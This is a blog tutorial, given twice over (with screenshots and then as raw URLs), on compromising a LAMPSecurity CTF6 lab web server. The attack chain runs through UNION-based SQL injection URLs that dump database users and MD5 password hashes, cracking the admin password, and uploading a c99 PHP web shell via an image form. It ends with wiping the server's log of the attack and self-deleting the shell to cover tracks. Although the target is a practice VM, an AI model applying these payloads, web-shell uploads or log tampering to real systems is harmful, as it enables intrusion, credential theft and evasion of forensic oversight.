Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vjdccUjeKCy2sbhQjXcEMq8o3IqLD80Sjp8vTXhTBynV5JbEUd9d9QosLyOevuxr4IS2UdiSQ-7BwOlAeiC9KhzzqkaV1GPK7ALBY1ulAKWfzhqJtE5XCv_75NdofGCoZIxjBfcoyPOTqV-WQHqiFjutepDXiRg33m4uA7tAB_Angr=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uaIka4FL3sEPXIJ0BDxvV_nmajz8KsSaVGOV3ilxE34cquNn6zvChTIY9W1TvJLSPwoKFYhiZSpaQnvUnTav1UFPv1wVzARs2u2BMnWbFs4r3rFTaTYEVV4GV-lMhNTCX_I_aVfR6g2UtzxO_UQDR6zSZxGgwOpgv4rOJ23cn9_-7dPA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tg_qd7orkdQnjdoouhI6sRha-XeU_idROnuIzNLfzgoqNXD53NaUP6W7muZWuFzMn8c38aAK3qcA8MTgUCeUyUI-DNMqQrlGlicKbvfpAGchaT4bKUrsLnigWVDFQmin7H1kOEQ7_iemYYJU1MstFIgX0JG5o0Zjpo-KAdOt5rm_meqQ=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sQxu9GVcrpLef3rDyeTG7HTLp_rRuaDRqkvrHoIgXjDpbOku74_VDYobgKzhdMVUmgHc6szfWGU2nhMR0TnBmpiRzxRF5WLQKztgYBwM48MruTkrU2uUKN-awQ3M6gXpCicZWZU7q0tF3z1VqAYFL9CFcHyPIcHU-evzFP7CSKT7lo2Q=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vonRL2MVeB2oUljKwWH9KuoaIGR1ZhbydCpcb4z3xY56sMXqaAjp5Xg-A5rH7VbV9aOIf6_3JI-ygT5yG9FiZJsQdnPuNWpf9Q3BnGUYYTjDEj_9oUBFOKLBDMR6igElUHYEaZwQezt1q2FdFI5WSVNTJ9jdAkN7w2B68ye0a2Pb-xvQ=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t6KZkERpjIcRpPGOI-0YwFZTGBdoFF9O9TSYn5YPuJYLoZnGrdRBXVcit-ZguLHWq10fp0O6dU6U0ZP5RbBQTY-oUJAZVv26umn2lykgrQLsV3KM9xkK3QG11HoqVGqZpdNIlobU_3KQKjRC9MgvYW6YuP2DS1_zw5WZ458HFfAy3u=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sQLGRyo3191FOun4idnYguTdVkGwBV-i927fDsMXuJy9RolBZnjPVtQyk_ih7DDoR8dFueP-x6MAWonIVdaARYD-hMVT29xzCS0S57WkTS1rrHdgs3P86Ro_Z5z86iMI5xCtDMYldkth4w6ZV7L7CAXT4jfDcKAsR6_UEk6fRLlm9qz20=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s35qxpL_Nna2kJSpCQ6J-xt4liOFMUCrxKP7JzinQpz4DRU0EUeCWmsJ0lC8eGuMuRmws6tLWfk5CSXud2cMvz9UGNp5k9A6l96_1hMFY_Kkk-5hoHAZ7LAts0fIDVI0lSsqPkwd1KXaOkjCRi5jcNpCQicOy4QFsXPQBVbfBI5DKOzKc=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vABj8jvh7g1rhl5bU9mBhTZMw_AWsaijszi7pOa0J6mJxgZZShqs-St28gESPEMn0ZOqPNnKtm-uLWcbR-AuVR24dcaN5QBV20uAmLftKBwlQLRkpBfxgmW3W-lm61yxoS9J7JGOHjlj2xOcJnF7VXmAQXZMwx0eW94gEms_IjQnhYqCs=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vFGzTTy0Zs5eQRmTF18nlFKGDJa_1GFSRMCSxfZGnn4t_KNXdxStG8XA36bjD2pEb9PyY72avu2Lh0jO1bxN2f-GDInL99Qn0o7vzSMvy4UxZZDejwktEFGmhjT5Q4duqxj1S2muYCsfvmkD0NyZ_sI-GNWGza-nrMu93ZF5UGLVT_CcA=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t2spR0eBkWutRwSZzKLTfjUS2-Z0xs47N_LIROgnVCMC5FHrEH-9iSyFOv6WxvA4PeCaODqdOjYgQ8jveedGmO-uafCETlqdc4Oz4yARMTgZl7ko7wNYrpgXfwanK16H6fQ62MAYClmgIig1pKKhKijrbh7C0QnSAbNznmM-3_ByxjmA=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sWzOA__nk2CHcogBlv_dFNRlx6L2M011JtBD-rfpXDYocon0N6eYawmRQS5RQUmiBQ8P32g63GRLFIM-k3CAxJxo0xrSwf0NcItT7peldt4gcBpnW1q-Kwhx-iRdxeREJShwKh941stshJOqm484bX1-ou23sxTTGHfqg88-mIBGPCihI=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ulk_3Hlc0SyfZV3AKKWQY2bSpL0vjV3iubbnOUA3FuMP5DTHoTDwxIxNFAA67dmWzK-VYexsF-4kH5eRxVLaZrn2ENFOJiZEHZVBJH7r6uqr4dOccx5XI30MgHfXTFTeBWIDmP6vrNxh0quXKEXLTr3HKO8-b16Zv1fPE-LkMUPsG_NCA=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tIZymOgyJngEE8JbcVoWD2zay48DOssYlNwL7OcXNphaopIFUp5Yrm9j2AixjKVfbFNr8kM6zUyk_O40YVe6sN3QcsHz2Jt60HrucCeiZHGs3MPP-ORWMdHYSEmMspl-oHNMElCl11oA5hAYhumvpxRPhJu8z0h9GNAV01l_y6kskxYw=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u-_C5tkrn1KzPEI2nIlPKNHSyiUhzBQqQZjED1EQPQkTppltSfXAo4fmex7hTLXHGuMgqsFD51QCkkXA6Dyh9s-pYWaL_0_7yeKP-1i8CCCZ7G9PfJX3ajI1ph5KMablZqZ0hv_CksShVgFNd3PB5Ekeu71y4zdphX7YeI5c5xv8aTFw=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uO1DCcdj2ruvQn5_ZXAgDmFoDeRX4To7gxqf1m_Sz_umZStUBBufHMbhRV-QlMzXtceWmIKeY3_KIUGh1ieU6rVfBs__qrScqNZj4zB66R7JSlUKQErVorUkCd3Fa6wHKzQ497YQAqhivdpwsJK0H_nQ0HRtFV0tMC8rNeTq-da3hL8CM=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uoOEwPthbcjUG45W5E2TqmWG-jA_WitNSfd3EvOTBgj4mYa7tTpsuQOl0AW_es2vFPQhpuNEY5BCxTNbNLnoFXXH6lOq1D_71ScKh0oKIMyh8oDKGkTu1VWVyTbdhREndwqxlbagVPlNH-OWQ_hYcflvY3fMmPOH1qw76X3_WDpTET8Yg=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vHJAxEUDX-7i82uppoVSoBt75eBB8JUfmFT_Drg_TQUjkx2Xnc9ogkeI8RzyX0DAGUHoHP4bgjwG0qB6HQwXGbn4LF6bAKmKjlin-tOaqQQpZJW4ggKM9X7e-4tCT0WeWWiKS7WmN8iP3uUndLbcrS-3ntts4g3ccb1MHx7e2qqOEn3sw=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tJ82DAf430lW9oJe4A8P82DZsrb-CmE_pUrLqy41dpHo9S9ofRxtfuEfPW6SxuB4GI-7BGjb_ZJ5B77b_AWXj8cQXxjz5xRI6ADzxrm8waFt8YTVAQ5HmA5FLloGGeUb-dYjXy8p9ejiuqfIod0e4T3V-y4Sg_XEl6uJbJePvSaz_j00o=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tZZ6VdAif-cVeEHMNokN54g2O30n8TH49NWRcXlhlBDTZhyuDsuFpRNl10hTw-tr5NA7rkc6KPRFpNS91mp46gFQyaR3HFomIuJeYmOcCeGl12nbTCOYL8j_ahPGsVxQ5ynWou5z_8kncexI3VPZLoi5FlB0OTzySWTIuX3GBwzIWN7qY=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uLDajuUzv_GUEZ_bxEKKKAALtwApcoRiZFbeGBN0Nc-QgNpEHKmxanfbAdVRUotH9uE3z0v5kOwUPY8g7u1cR4nDcO4-F-LXsQAuelU52e5xahvOc_IuIitfA6gcO2crr6q5v7rqXhJfZNSLIhgL588589gHDrML-ceYSQmrnV0ODW1z4=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uc_Hqav8a1kghGr8p-8OMCmNy9mGXkSZUXxch2lGQ9hporOb18waaH8okIaweKfM3tRZn9eOkNVrjxvRcu7YUiqrgQa-axQKMPACv3CkXHmE5XBv2apZRmfOfPp85daqGYBKHqzUUsNsLPowQ1SMtHNwXa8IvUzMkek9477m3CqmFoG7s=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uUxeEgsCwTYHr4BQ7I5EKNkLWzUm1yhO7IFpGIcOGzhKXaOA28ChWaeWyEIy3Qt5fwBRyQFXHMCr7IoqJPZVRNi3gr0E7lrvyfNqyXxMeD0bjBrXkZXWJhG-NLXVIkVBQ-Rk7TLRnRlkuWMfPPdiFZW68lDkkePSIjRk0f5zxBYrtApv4=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tLzEJGo0sFJcdKK1WzggIc92k-QMdxN6CShjkQcNm6xrRme0nF_fOCCbxiUSYCI6V3xPlkvNPa0IbMa0p89yPqkEbHu0auF4vLQoUUWbs5dEP7VuGAKgIcJ241Jn-AORYC0FN-GCj8yG-gAHTfz9see7ZSFo2LHC7NiC04kPKtvcLTF94=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ueuyi8M4uSBL6tmjqpDi4hEz9j6jiYthub1rabN8QUxPilgZ_lqHAapOrLbfY3xXEMk9KbmVSwtp_xZbJdCCw5S2DcOQVcEcgr949RQWX5LajnN9wdMXyArZryl2FbzXf53VZEdyHH7ZzyKdYAKLeQ5UY79MtXaL-dFzMqOodW8ljIhA=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v8bn7sAwuqU8O9ffBZnpxg_BhfPBQrL6CT3RKvtOMqeXrxrp0ROKphr_FIPGOXVXzv8K7DZlvBBrUdE3TZcG1AoTFjm_AtrIOyobhksSYGoszXNyxrsJLNiH0plwnVfsJ_jxPsm1-DPwA60osU1ngHrEqDaKZuAD_yrBsnhmyUShM_lA=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_spdZ7zJhI44iZCP-FVz9Zb-tFKrxTJ4ODF68OXSYIXZGchLxUIPULvnMdo5Y5b565S5OsNkof5qI1bv050tBOH4-E0IVa5q4Ot_WShDCmio72u8AgY7iE3BS_zZa4KKtndBSFkk7y2WGJJKz9XlY3myFsykFaG2gnQGMZz6FD4SPbC4tI=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vVXzKiF9-7-bKhAOeVcI7H9AZD0S2mIsREle1xRnnOolPTeTdyCIKRukFcno40B964TYOk5Nf3WQHuyU4WcVRirfm_BQplqLbyHiQ1jDQwsL6G5-8gfpwpnGJbWPrYjv_SUNbCa_EfYyilCWdrY7OTfJr-UWr8F7Y4WC2j8HBfjl7vnhI=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vyp81D_6nabFIc9h6fDKOfwTBrYfgwJeD4GpMQVjCWnW0rutyL6gcUiz2HFVoP5-noNHCbK_amnqWpK0Myd6tSqc7P85D5OuKj17f9BatNJ8x-glxxQ4yvfVNKlT_-OlXF38PZbrdkkInGPnRa0TOBOlFEC19po3ctMtttwjwHY-MtEw=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sK0n7yohk0EILaTYrbUmmZf_tUlLDxrexLsXTSI-2vlwkQRRzU0sBz608poV0buUvgX0XGiYT7Xmhxr_Q8nFt1oGIjtz2EzoPWmg7778JXDLgVyvg0Oxhk0UjjzNor8SYnoHBPvQaRi_zkx2PJx2rllP71dEGZiGEds7r-s-nzFO17hmU=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t2wq6U3j-Tke2y4ABBq6I2CmrUTezxb0a_Z8MMdbAZmb8msGIpqai8eluuroUPGKWQ14I8YFpcoe1_W0TuXMVgDMJALJ9UCJimx8Fdy8gDvTwvSJxaJYeS5C8pk32V10P3QDOpiXSpXTiARmmNu6tTtmoJoQhUhMjWciVtbsU2EYfaA_I=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sXVArB29E333RAaTOe3gE12x3kP2sr63BW82Gvni28aunCTiCIo2dy8WtUJPGZ1SYPSJbipvWD-cbocZrAA4jM-kuzqyOBunH5LKlGjP2eYsxNMWA0qeIMTdp6ad3Zoc5M2TAXsv4kgX7NggIAVMJhzhiBJnQdi9VDgf4cA4HsMcY7JFA=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sqERwbRDFH9lh8onnLVHgWufAgik9qr7AZHQ1QQMOjTHgjXA7PL7XWMvDkpELqgRJnQyTUstD1o7iy-MHho1S6CrBRFTDwes1hICnKgsClXKHiEn_LLecVXPIvakBz_WpYcUXpbDJ-rfUsLfgkXWMcLNCe3Dq_c1FSOeTjeLUHT9A7GQY=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uIsrICTnAR5tt8V4uuHvO0-RRb71LKf-VAirdiO5wAQ0OC5HmUVAEGzrkFOa-12_nPtXNQZnAN3jN3Ml_9ue0FZC96hwOgLmDLZECxX1X1YumYiAobwAKQ07JhdA6MRVK_qYWWPlYfkdGQ6Sx9y3byee22nMDiVf8JjgNCxuDHfcPFY2A=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_syXm3gTn5yMWLYilf6RPZddgB_GF0912LbAic-SgTd-NpcG2Y_QjLpsV13suK9P-3RJj09dVGPgUhq4JUjkmhdghTJJZNSv1HzmymohaSUOmBasCXkhOsPADvkeTfI0mvaNCBrF9VtzYGm1IA9grna0mRhCz2w_LpYp84RNmwhxcmPGkE=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ueV8K9VZlq9-jBZzG08uzsutOu51eYjWeKzNIDKZW8CH3_KxqGyyMTy3WemMFUCKb3WXJlekrT8NCfoh-j7qX99eYIoxgCyFc5dedPHaw5KyKtNUZy1YZMUSoWuN9oSQ95C7T8Rmx6l_QuwsKShrbYii4OJiri9oo7HjeU78BOUoGufBk=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sO9lHR9ETSDtBOL5HVx8FODCuslabx6XPqZIoN-bBGR1KyTOP2OJ7LKwiLSbHe00Z2ioEB94t_RWk5Yffc-Citv73e0B4OZ2RIz2lKVeMgfrc_nPSyliZSsFtsjnuV5TKU33WDJQa2s16MtPP7Gj8efA931j8ERtqnAtxzFYL1G4gxRg=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vxbfB42h4_-YaYEoVtTra9d5OYCHDNmOAbAbDERCcoiqDIRqiKABhyDt_8Su9ZNLjFVzZ4GayhPsv1XqkT6pnxemp_kaA2t_p6zqF1QZwkUdSrFwQstsCFyVWLg3BPwHC6Urr1CmfEJ6RRBUVEmaK7AT2ZUZ_VcOKlvkWOTrqZnD3lpdY=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tNIGkmB6nAFFkkzZfgsbMlXJJCSSG9jZkOYkqS92AuephDazR7xfS1BmJvcCLOOiQjkK8P3xdrB8Flf1L4oObamTCC84V-SlHOSIbo2qc5X4UYS9huIbsMknDhkB-cb79HQpWOa_y_8EWIm69DBRo0g_rzEZAt-zmQWwrwRnDc62vAYQ=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ss7qyEssiFq07QLYK7jkGL7qGK1J_E2r93iQ0xYDT2NQxzl02-hi_Byjrs9I37EoGdWvtB1paG1cCGeOjmlPLWjyR_aR-Ln-O1yb6jCKHZSqXYN6ODCD-z8QTjRMy0Tdi-Sn6bwZLnNPQ82CZLj3dTJiT19PMYYnHc9e0m6SPhSkEU8x0=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tB-hb2muRShmM9gKUWLWo8crqy0HiKnikyJua1v_F-Sid9mmxyqGM1bwXsEl4X-lpnVYgjGQOHtXkf6eac69Ptocc_RAqINgWx5kdCLgS28A9RJcSTEsJS38drbuOuNh1f6vphXp73R7S_WKE2Awwz6MC-bcCUrXl7nNDRZOeoN1Ab_HE=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u5ldUYrq6gT0dky3xaVfGapy9CB6yO7cVjGtoHKGFmFjqeDxJBRkmRo1cscL6oSDAs28rEXD6bSqSyC05rvE7LlYh6jquX46wJq530lIy_AfVpc0dRBAOffEywxLjxtZLBjLQv9g4iZWILa4gqlc0PJ60m0rMUCd24XA4OTb6Eg7hcRoA=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tkx8Qc0nrbFAZqm7r6Kh4JSdF0xkn_QVeUyVksFq-6_giEUAwmTws1obHonHOUPeAIJqmuIk4Mo43PiDryW9UyXAh-T9aFIoLaQHVtebEvLv3FhONBPSOM4e9fI19TnmUMQbZv65A2Xq1RONYyS3k4bTr4gKHM00649YhY7sKIehdJVyM=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u3bqT2x0Sw9aTVr4ypg2KcEa7yG1YGbbxQogF-IB70GoYI94_-CP-XleHtSWkPYI32gNwnHUHM2cJnCpmAkfNsegHwyaBd0I7xguojzFCyP-QM_0aBHsi0tRrEV46XF3Y-QvDF1CFCGq_vpQ5QUdyjBgBMEroIjuGntUEs8sIKKW3qNQ=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tQ0vIUjY4PW6UaSpcuMLDNGDL5P2lAyaycYxLWF-s8xiuKLBk3Ddqp4IW944oqeoj4HMSS_URxALvLsscHPCUq0-NJlRzfh5VTlNWjr30d-yKZQVmoOkqBheu4hCkACZp1OgIdVv1wwoLWUjEvm9Mr7TVTRc7PEyEbytq8KuhErnCGp2o=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete